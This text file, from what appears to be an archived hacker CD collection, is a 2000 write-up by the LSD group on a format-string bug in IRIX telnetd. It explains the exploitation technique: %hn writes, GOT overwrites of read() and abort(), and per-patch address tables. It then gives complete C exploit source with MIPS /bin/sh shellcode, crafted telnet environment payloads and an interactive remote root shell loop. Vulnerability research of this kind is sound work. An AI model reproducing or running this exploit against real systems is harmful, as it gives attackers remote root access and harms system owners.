home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 4 / hacker04 / 04_HACK04.ISO / xploits / irix_telnet / irix_telnetd.txt
Encoding:
Text File  |  2002-03-18  |  21.3 KB  |  469 lines

  1. We've found a very severe vulnerability in the IRIX telnetd service that upon
  2. successful exploitation can give remote root access to any IRIX 6.2-6.5.8[m,f]
  3. system.
  4.  
  5. The bug discussed here appeared in IRIX 5.2-6.1 systems and was the result of
  6. SGI efforts to patch a security vulnerability reported by CERT back in 1995
  7. (CERT Advisory CA-95:14). Because it was introduced to the IRIX 5.2-6.1 systems
  8. along with the 1010/1020 security patches, their default "clean" installations
  9. are rather immune from this vulnerability. All later IRIX editions are by
  10. default vulnerable to the bug presented in this post.
  11.  
  12. The vulnerability we've found belongs to the most recently discussed class of
  13. the so-called "format bugs". IRIX telnetd service upon receiving the
  14. IAC-SB-TELOPT_ENVIRON request to set one of the _RLD family environment
  15. variables calls the syslog() function with a partially user supplied format
  16. string. The syslog message that is generated upon detecting such an attempt
  17. is of the following format: "ignored attempt to setenv(%.32s,%.128s)".
  18. The strings enclosed by the setenv() brackets are adequately: variable name
  19. and variable value. If variable name/value pairs are appropriately constructed,
  20. arbitrary telnetd process image memory values can be overwritten and execution
  21. flow can be redirected to the user supplied machine code instructions.
  22.  
  23. After some careful investigation we've managed to exploit the vulnerability.
  24. A proof of concept code was developed and it is available at our website.
  25. We have also implemented a quick fix, so that people can protect their IRIX
  26. boxes from being exploited. By releasing the exploit code we take the
  27. opportunity to discuss the specifics of its development as it was somewhat
  28. different from what is already known and exploited by people working with x86
  29. operating systems.
  30.  
  31. When we noticed that IRIX telnetd uses syslog() function with partially user
  32. supplied strings, the first attempt that we undertook was to try to overwrite
  33. its stack by using the "[shellcode]%[space padding].c[return address]" attack
  34. scheme. Unfortunately, it turned out to be ineffective, as we could not seize
  35. control over the telnetd PC. This was mainly caused by the fact that the number
  36. of spaces in the format string could not be adjusted in such a way so that PC
  37. would have been loaded with our arbitrary return address value.
  38. We could not either use the
  39.  
  40.     "%[space padding].c[shellcode][address]"
  41.     "%[pad1]x%[pad2]x%[pad3]x%[pad4]x%[param number]$n"
  42.  
  43. attack scheme because of the MIPS big endianness and the fact that the machine
  44. code implementing the %n feature was using the sw (store word) instruction.
  45. On MIPS and other RISC machines compilers usually generate code with a speed in
  46. mind. So, if the c language *(int*)var=val equivalent operation is encountered
  47. in the source code it is usually processed in such a way that produces the sw
  48. instruction in the output assembly code. And since it is the sw store, it must
  49. be 4 bytes aligned on MIPS. If this is not the case BUSERROR is signalled to
  50. the process and it core dumps.
  51.  
  52. The processor big endianness and aligned memory load/writes were the primary
  53. difficulties that we had encountered when exploiting the format string telnetd
  54. bug. The other problem we noticed was that only 100 bytes long buffer could
  55. be used for telnet IAC-SB command.
  56.  
  57. Because we do not give up so easily, another try was made to the telnetd
  58. exploit. After some deep analysis of all the environment constraints, we decided
  59. to use the
  60.  
  61.     "[shellcode][addrlo][addrhi]"
  62.     "%[pad1]x%[param number1]$hn%[pad2]x%[param number2]$hn"
  63.  
  64. string at our attack. We simply changed from %n to %hn scheme and performed two
  65. short integer writes instead of one common int write. The values of pad1 and
  66. pad2, although kept in 32 bit registers are stored by the %hn feature as 16 bit
  67. values using sh (store halfword) machine instruction. If carefully adjusted,
  68. they can form high and low nibbles of the 32 bit value stored at a given memory
  69. address (addrlo for first %hn store, and addrhi for the second one). We've come
  70. up to the point where we were able to store arbitrary values in telnetd process
  71. memory locations. The problem we faced next was how to effectively get control
  72. over the program counter. Performing an overwrite of the return address stored
  73. in a local function frame is one of the obvious ways to achieve that, but since
  74. we were not able to remotely inspect the telnetd stack it seemed to be rather
  75. ineffective. This is why we decided to make a jump through the process GOT
  76. table. On IRIX every call to the function from the shared library linked with
  77. a given program is made with the use of the following instruction sequences:
  78.  
  79.     lw      t9,-got_offset(gp)
  80.     jalr    ra,t9
  81.     nop
  82.  
  83. If GOT entry for a shared library function called from within a telnetd would
  84. be overwritten with an arbitrary address, the next time this function would be
  85. executed, the PC would be loaded with that address and in a result control over
  86. the process would be gained. The most important thing here is that GOT entries
  87. for a given function call do not differ so much from one to other binary.
  88. The other advantage is that they are 32 bit entities, regardless of whether ELF
  89. 32 or N32 binaries are in use. It is important as long as IRIX 6.4 and up use
  90. 64 bit pointers for $ra and $gp, which are usually difficult to overwrite with
  91. most often occuring str* buffer overflows.
  92.  
  93. We inspected what function calls telnetd was using by viewing its GOT table.
  94. We also found that after processing the TELOPT_ENVIRON telnet protocol suboption
  95. telnetd was waiting on a read() function call. So, we decided to overwrite the
  96. GOT entry of the read() function. Its address was obtained by issuing
  97. odump -Dg /usr/etc/telnetd | grep "\[read\]" command:
  98.  
  99.     [        77]: 0x0fa38654 -32444(gp), 7fc4981c [read]
  100.  
  101. and was 0x7fc4981c.
  102.  
  103. So we solved the "where to store" problem and could control the value of PC,
  104. but "where to jump" location was still unknown for us since it was also placed
  105. somewhere on a stack of which parameters were unpredictable. This is why we
  106. decided to change our format string and used the following one instead:
  107.  
  108.    "%[space padding].c[shellcode]"
  109.    "[addrlo][addrhi]%[pad1]x%[param number1]$hn%[pad2]x%[param number2]$hn"
  110.  
  111. Because space paddings are before shellcode instructions and the space value is
  112. 0x20 they could act as 0x20202020 NOPs (addi $zero,$at,8224). By using a large
  113. decimal value for space padding we could make our NOP buffer large and
  114. simultaneously, jump address was becoming much more predictable. This is what
  115. we did, but very soon got disappointed.
  116.  
  117. Everything seemed to be working fine. The telnetd GOT entry for the read()
  118. function was overwritten in two shots with our start address pointing to
  119. the middle of the NOP buffer. The jump was made but we were always getting
  120. ILLEGAL INSTRUCION signal and telnetd core dumped after executing several
  121. 0x20202020 NOPs. We knew very well what was going on. After a couple of years
  122. of IRIX buffer overflow exploitation that was nothing than a classic example of
  123. the MIPS cache incoherence behaviour. We usually avoided that cache problems by
  124. supplying large NOP buffers to the program input so that cache had time to
  125. "flush". But that didn't work in the telnetd case and we were stuck again.
  126.  
  127. The enlightenment came after careful telnetd memory inspection. We found out
  128. that one of its global symbols was used for storing telnet protocol options.
  129. It was called subbuffer and its location was predictable since it was stored
  130. in a telnetd GOT table.
  131. We used odump -Dg /usr/etc/telnetd | grep "\[subbuffer\]" command:
  132.  
  133.     [       186]: 0x7fc4cf98 -32008(gp), 7fc499d0 [subbuffer]
  134.  
  135. and obtained the forementioned buffer address - 0x7fc4cf98.
  136.  
  137. The format string was changed again and we got rid of the padding spaces in it
  138. since they were not needed any more. Jumping to the location within a subbuffer
  139. turned out to be effective but not on all platforms. We had still cache
  140. problems on R4600 systems. To solve that we decided to use a trick that has
  141. been first applied by us back in 1998 in our named exploit. We were overwriting
  142. the same memory location for 2 times with a time period between each single
  143. write. By doing so processor cache usually has enough time to "become coherent".
  144. This is usually the case because during that time process sleeps on a read()
  145. syscall, and its context is switched. This is why in our telnetd exploit we set
  146. environment variables for two times. The first setting places only shellcode
  147. and data in a subbuffer. This is the second operation, which triggers the memory
  148. overwrites and makes the exploit go run.
  149.  
  150. So, we had a working exploit version on a 6.5 platform. We tested it and it
  151. worked fine on all 6.5.x systems we had in our operating environment. It was
  152. time to move to another IRIX versions. And this is where new problems with the
  153. exploit popped out.
  154.  
  155. First, we noticed that on IRIX 6.2 and 6.3 different format strings had to be
  156. used. That became quite apparent to us when we inspected the telnetd binary and
  157. found out that it was an ELF o32 binary, not the new N32 ELF used on IRIX 6.4
  158. and above. So, we had to deal with appropriate format strings for different
  159. MIPS ABI's.
  160.  
  161. The second, much more painful difference we noticed was that on IRIX 6.2-6.4
  162. even if the right telnetd GOT entry for the read() call was overwritten our
  163. code was not executed. Instead, we always were ending up with a sigabort()
  164. function call. Overwritting the abort() function seemed to be the only way to
  165. get control over telnetd program counter. What was not promising for us was
  166. that sigabort was called from within the syslog function of which definition is
  167. located within libc.so.1. We went through several IRIX boxes and checked out
  168. the differences between their standard c language libraries. And it all looked
  169. like a mess for us. We knew that some patches changed libc.so.1. We somewhat
  170. found out that what odump/elfdump was showing about the libc.so.1 GOT entries
  171. was not usually how the things were really looking like. We were forced to use
  172. the following scheme to obtain the address of the libc.so.1 GOT entry for
  173. a given function:
  174.  
  175.     got_entry_address=got_base_address+function_index_in_got
  176.  
  177. where got_base_address and function_index_in_got ware obtained with the
  178. following commands:
  179. odump -h -n .got /usr/lib/libc.so.1 | grep got
  180. odump -Dg /usr/lib/libc.so.1 | grep "\[abort\]"
  181.  
  182. Finally, we went through the SGI patchbase in order to find out what patches
  183. could change the libc.so.1 file in the IRIX system. This is what we found:
  184.  
  185. /usr/lib/libc.so.1 patches:
  186.  
  187. IRIX 6.2
  188.     patchSG0003490.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
  189.     patchSG0003723.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
  190.     patchSG0003771.eoe_sw.irix_lib (libc rollup + Y2K fixes + MIPS ABI)
  191.     patchSG0001918.eoe_sw.irix_lib (libc rollup)
  192.     patchSG0002086.eoe_sw.irix_lib (libc rollup)
  193.  
  194. IRIX 6.3
  195.     patchSG0003535.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
  196.     patchSG0003737.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
  197.     patchSG0003770.eoe_sw.irix_lib (libc bug fixes and enhancements + y2k)
  198.  
  199. IRIX 6.4
  200.     patchSG0003491.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
  201.     patchSG0003738.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
  202.     patchSG0003769.eoe_sw.irix_lib (6.4-S2MP+O + y2k + 64-bit strcoll segv fix)
  203.  
  204. IRIX 6.5
  205.     no patches available
  206.  
  207. After applying each patch separately on appropriate IRIX versions and by
  208. checking the addresses of the abort() function GOT table entries it turned out
  209. that from our "GOT overwriting" point of view some libraries were equivalent.
  210.  
  211. Similar elf binary inspection was applied to the telnetd program (remember
  212. subbuffer jump address), of which different versions could be installed in the
  213. system due to the following patch matrix:
  214.  
  215. /usr/etc/telnetd patches:
  216.  
  217. IRIX 6.2
  218.     patchSG0001485.eoe_sw.unix
  219.     patchSG0002070.eoe_sw.unix
  220.     patchSG0003117.eoe_sw.unix
  221.     patchSG0003414.eoe_sw.unix
  222.  
  223. IRIX 6.3 6.4 6.5
  224.     no patches available
  225.  
  226. This is how we managed to reduce the possible number of abort() function GOT
  227. entry/telnetd subbufer address locations from 39 to 13. The final table of all
  228. possible combinations for all IRIX 6.x systems looked like this:
  229.  
  230.     irix 6.2  libc.so.1: no patches      telnetd: no patches
  231.     irix 6.2  libc.so.1: 1918|2086       telnetd: no patches
  232.     irix 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches
  233.     irix 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414
  234.     irix 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414
  235.     irix 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414
  236.     irix 6.3  libc.so.1: no patches      telnetd: no patches
  237.     irix 6.3  libc.so.1: 2087            telnetd: no patches
  238.     irix 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches
  239.     irix 6.4  libc.so.1: no patches      telnetd: no patches
  240.     irix 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches
  241.     irix 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches
  242.     irix 6.5.8f                          telnetd: no patches
  243.  
  244. This is how we've come up to the ending point.
  245.  
  246. The shellcode we use in the exploit code is a slightly modified version of our
  247. 40 byte long IRIX MIPS shellcode. It couldn't be longer because of the space
  248. limits imposed on a telnet protocol options buffer. The following command
  249. shows that we have only 100 bytes available for suboptions data:
  250. odump -Dt /usr/etc/telnetd | grep subbuffer
  251.  
  252. We use 97 out of these 100 bytes. As you see this is far enough to take control
  253. over the IRIX box.
  254.  
  255. Primarily aim of this story was to show how much effort must be usually made to
  256. develop an exploit code. The guys who just use them do not even think about it.
  257. Each exploit code has its own story. Only exploit coders who know what it takes
  258. to write them are familiar with that pain of development.
  259.  
  260. Below we provide link to exploit and fix codes:
  261. http://lsd-pl.net/files/get?IRIX/irx_telnetd
  262.  
  263. regards,
  264.  
  265. lsd folks
  266. http://lsd-pl.net
  267.  
  268. This is the new, fixed exploit code released in September, 2000.
  269.  
  270.  
  271. /*## copyright LAST STAGE OF DELIRIUM jul 2000 poland        *://lsd-pl.net/ #*/
  272. /*## telnetd                                                                 #*/
  273.  
  274. /* update:                                                                    */
  275. /* code was slightly modified in order to properly compile with gcc and to    */
  276. /* work from within little endian machines                                    */
  277.  
  278. #include <sys/types.h>
  279. #include <sys/socket.h>
  280. #include <sys/types.h>
  281. #include <sys/time.h>
  282. #include <netinet/in.h>
  283. #include <netdb.h>
  284. #include <unistd.h>
  285. #include <stdio.h>
  286. #include <errno.h>
  287.  
  288. char shellcode[]=
  289.     "\x04\x10\xff\xff"             /* bltzal  $zero,<shellcode>    */
  290.     "\x24\x02\x03\xf3"             /* li      $v0,1011             */
  291.     "\x23\xff\x02\x14"             /* addi    $ra,$ra,532          */
  292.     "\x23\xe4\xfe\x08"             /* addi    $a0,$ra,-504         */
  293.     "\x23\xe5\xfe\x10"             /* addi    $a1,$ra,-496         */
  294.     "\xaf\xe4\xfe\x10"             /* sw      $a0,-496($ra)        */
  295.     "\xaf\xe0\xfe\x14"             /* sw      $zero,-492($ra)      */
  296.     "\xa3\xe0\xfe\x0f"             /* sb      $zero,-497($ra)      */
  297.     "\x03\xff\xff\xcc"             /* syscall                      */
  298.     "/bin/sh"
  299. ;
  300.  
  301. typedef struct{char *vers;}tabent1_t;
  302. typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;
  303.  
  304. tabent1_t tab1[]={
  305.     { "IRIX 6.2  libc.so.1: no patches      telnetd: no patches          " },
  306.     { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: no patches          " },
  307.     { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches          " },
  308.     { "IRIX 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414 " },
  309.     { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414 " },
  310.     { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414 " },
  311.     { "IRIX 6.3  libc.so.1: no patches      telnetd: no patches          " },
  312.     { "IRIX 6.3  libc.so.1: 2087            telnetd: no patches          " },
  313.     { "IRIX 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches          " },
  314.     { "IRIX 6.4  libc.so.1: no patches      telnetd: no patches          " },
  315.     { "IRIX 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches          " },
  316.     { "IRIX 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches          " },
  317.     { "IRIX 6.5.8f                          telnetd: no patches          " }
  318. };
  319.  
  320. tabent2_t tab2[]={
  321.     { 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
  322.     { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
  323.     { 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
  324.     { 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
  325.     { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
  326.     { 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
  327.     { 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
  328.     { 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
  329.     { 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
  330.     { 1, 0x5e, 0x0fb576d8,  88, 0x7fc4cf70, 0x1c },
  331.     { 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
  332.     { 1, 0x5e, 0x7fc496e8,  77, 0x7fc4cf98, 0x1c },
  333.     { 1, 0x5e, 0x7fc496e0,  77, 0x7fc4cf98, 0x1c }
  334. };
  335.  
  336. char env_value[1024];
  337.  
  338. int prepare_env(int vers){
  339.     int i,adr,pch,adrh,adrl;
  340.     char *b;
  341.  
  342.     pch=tab2[vers].got+(tab2[vers].g_ofs*4);
  343.     adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
  344.     adrh=(adr>>16)-tab2[vers].len;
  345.     adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;
  346.  
  347.     b=env_value;
  348.     if(!tab2[vers].flg){
  349.         for(i=0;i<1;i++) *b++=' ';
  350.         for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
  351.         for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
  352.         for(i=0;i<3;i++) *b++=' ';
  353.         for(i=0;i<strlen(shellcode);i++){
  354.             *b++=shellcode[i];
  355.             if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
  356.         }
  357.         sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
  358.     }else{
  359.         for(i=0;i<5;i++) *b++=' ';
  360.         for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
  361.         for(i=0;i<4;i++) *b++=' ';
  362.         for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
  363.         for(i=0;i<3;i++) *b++=' ';
  364.         for(i=0;i<strlen(shellcode);i++){
  365.             *b++=shellcode[i];
  366.             if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
  367.         }
  368.         sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
  369.     }
  370.     b+=strlen(b);
  371.     return(b-env_value);
  372. }
  373.  
  374. main(int argc,char **argv){
  375.     char buffer[8192];
  376.     int i,c,sck,il,ih,cnt,vers=65;
  377.     struct hostent *hp;
  378.     struct sockaddr_in adr;
  379.  
  380.     printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland  //lsd-pl.net/\n");
  381.     printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");
  382.  
  383.     if(argc<2){
  384.         printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
  385.         exit(-1);
  386.     }
  387.  
  388.     while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
  389.         switch(c){
  390.         case 'v': vers=atoi(optarg);
  391.         }
  392.     }   
  393.  
  394.     switch(vers){
  395.     case 62: il=0;ih=5; break;
  396.     case 63: il=6;ih=8; break;
  397.     case 64: il=9;ih=10; break;
  398.     case 65: il=11;ih=12; break;
  399.     default: exit(-1);
  400.     }
  401.  
  402.     for(i=il;i<=ih;i++){
  403.         printf(".");fflush(stdout);
  404.         sck=socket(AF_INET,SOCK_STREAM,0);
  405.         adr.sin_family=AF_INET;
  406.         adr.sin_port=htons(23);
  407.         if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
  408.             if((hp=gethostbyname(argv[1]))==NULL){
  409.                 errno=EADDRNOTAVAIL;perror("error");exit(-1);
  410.             }
  411.             memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
  412.         }
  413.  
  414.         if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
  415.             perror("error");exit(-1);
  416.         }
  417.  
  418.         cnt=prepare_env(i);
  419.         memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
  420.         sprintf(&buffer[10],"%s\xff\xf0",env_value);
  421.         write(sck,buffer,10+cnt+2);
  422.         sleep(1);
  423.         memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
  424.         sprintf(&buffer[10],"%s\xff\xf0",env_value);
  425.         write(sck,buffer,10+cnt+2);
  426.  
  427.         if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
  428.             printf("warning: telnetd seems to be used with tcp wrapper\n");
  429.         }
  430.  
  431.         write(sck,"/bin/uname -a\n",14);
  432.         if((cnt=read(sck,buffer,sizeof(buffer)))>0){
  433.             printf("\n%s\n\n",tab1[i].vers);
  434.             write(1,buffer,cnt);
  435.             break;
  436.         }
  437.         close(sck);
  438.     }
  439.     if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}
  440.  
  441.     while(1){
  442.         fd_set fds;
  443.         FD_ZERO(&fds);
  444.         FD_SET(0,&fds);
  445.         FD_SET(sck,&fds);
  446.         if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
  447.             int cnt;
  448.             char buf[1024];
  449.             if(FD_ISSET(0,&fds)){
  450.                 if((cnt=read(0,buf,1024))<1){
  451.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
  452.                     else break;
  453.                 }
  454.                 write(sck,buf,cnt);
  455.             }
  456.             if(FD_ISSET(sck,&fds)){
  457.                 if((cnt=read(sck,buf,1024))<1){
  458.                     if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
  459.                     else break;
  460.                 }
  461.                 write(1,buf,cnt);
  462.             }
  463.         }
  464.     }
  465. }
  466.  
  467.  
  468.  
  469.